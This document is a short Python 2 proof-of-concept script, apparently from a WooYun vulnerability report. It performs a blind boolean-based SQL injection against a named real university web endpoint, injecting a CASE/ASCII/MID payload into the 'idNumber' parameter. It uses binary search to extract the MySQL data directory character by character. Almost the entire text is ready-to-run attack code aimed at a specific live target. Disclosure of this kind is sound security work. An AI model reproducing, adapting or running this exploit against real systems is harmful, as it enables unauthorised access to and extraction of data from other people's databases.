WooYun.org

#coding=utf-8
import sys,urllib2
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
result=''
def request(URL,data):
    #print URL
    user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
    req = urllib2.Request(URL, data, user_agent)
    try:
        request = urllib2.urlopen(req)
    except HTTPError, e:
        if e.code == 500:
            return 'Runtime Error'
    except URLError, e:
        #print('[!] We failed to reach a server.')
        #print('[!] Reason: ' + str(e.reason))
        sys.exit(1)
    return request.read()
def binary_sqli(left, right, index):
   global result
   while 1:
        mid = (left + right)/2
        if (right-left==1):
            result += chr(right)
            print 'datadir: ' ,result
            break
        payload = "(case when ascii(mid(@@datadir,%s,1))>%s then 2 else 1 end) " % (index, mid)
        param = {'idNumber': payload}
        print payload
        html = request('http://www.bkzs.sdu.edu.cn/schoolday/serch/',urllib.urlencode(param))
        
        verify = 'lpuslnms'
        if verify  in html:
            left = mid
        else:
            right = mid
if __name__ == '__main__':
    for i in range(1,30):
        binary_sqli(32, 127, i)